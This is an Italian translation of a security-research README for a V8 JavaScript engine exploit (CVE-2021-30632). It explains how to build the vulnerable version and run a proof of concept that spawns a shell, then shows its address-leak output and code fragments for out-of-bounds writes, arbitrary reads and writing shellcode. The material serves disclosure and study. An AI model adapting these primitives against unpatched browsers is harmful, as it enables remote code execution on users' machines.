CVE-2021-30632

Da: https://github.com/github/securitylab/tree/main/SecurityExploits/Chrome/v8/CVE-2021-30632

L'analisi di questo bug può essere trovata qui. Si tratta di un bug di Chrome segnalato da un ricercatore anonimo e si ritiene sia stato sfruttato in natura.

L'exploit qui è testato sulla versione 9.3.345.16 di v8 (commit 632e6e7), che è la versione distribuita con Chrome 93.0.4577.63, quella prima della correzione del bug, su Ubuntu 20.04. Non l'ho testato su Chrome stesso.

Per testare, fai il checkout di v8 al commit 632e6e7 e compila con le impostazioni predefinite usando tools/dev/gm.py x64.release. Quindi apri il file poc.js con d8:

./d8 poc.js Su Ubuntu 20.04, dovrebbe chiamare execve("/bin/sh") per generare un nuovo processo:

./d8 poc.js instance: 81d42dd elements: 804abd9 rwx page address: 22c70c88b000 intArray addr: 8105d79 intBackingStore: 56498ceb25e0 $ Il codice shell potrebbe dover essere modificato su altre piattaforme.

L'exploit è molto affidabile, tuttavia, durante i test, ho notato che alcuni offset sembrano essere sensibili a piccole modifiche nel file (anche l'aggiunta di commenti può causare problemi), il che porterebbe a un fallimento dell'exploit. Questo accade solo quando il file viene modificato e di solito si manifesta con alcuni valori spazzatura degli indirizzi, per esempio:

instance: 81d42dd elements: 800222d rwx page address: 3ff199999999999a intArray addr: 81067e1 intBackingStore: 3ff199999999999a Nell'esempio sopra, l'indirizzo della pagina rwx e initBackingStore sono chiaramente errati. La causa principale sembra essere un valore errato di elements store. (800222d non è un valore valido) Questo di solito può essere risolto modificando le seguenti righe riguardanti l'indirizzo di elements:

function arbRead(addr) { [elements, addr1] = ftoi32(addrs[1]); //<---- change this to [addr1, elements] = ftoi32(addrs[1]); oobWrite(i32tof(addr,addr1)); //<---- change to oobWrite(i32tof(addr1,addr)); return writeArr[0]; } ... function writeShellCode(rwxAddr, shellArr) { var intArr = new Uint8Array(400); var intArrAddr = addrOf(intArr); console.log("intArray addr: " + intArrAddr.toString(16)); var intBackingStore = ftoi(arbRead(intArrAddr + 0x20)); console.log("intBackingStore: " + ftoi(arbRead(intArrAddr + 0x20)).toString(16));

[elements, addr1] = ftoi32(addrs[1]); //<------ change this to [addr1, elements] = ftoi32(addrs[1]); oobWrite(i32tof(intArrAddr + 0x20, addr1)); //<------ change this to oobWrite(i32tof(addr1, intArrAddr + 0x20)); ... } ... var elementsAddr = ftoi32(addrs[1])[0]; //<------- change this to var elementsAddr = ftoi32(addrs[1])[1]; Questo, tuttavia, non influisce sull'affidabilità dell'exploit poiché gli offset sono stabili finché il file è fisso, ma potrebbe causare problemi se il poc viene modificato. Non so cosa lo causi, ma l'exploit potrebbe probabilmente essere reso più robusto contro questo problema abbinando pattern in memoria invece di affidarsi a offset fissi.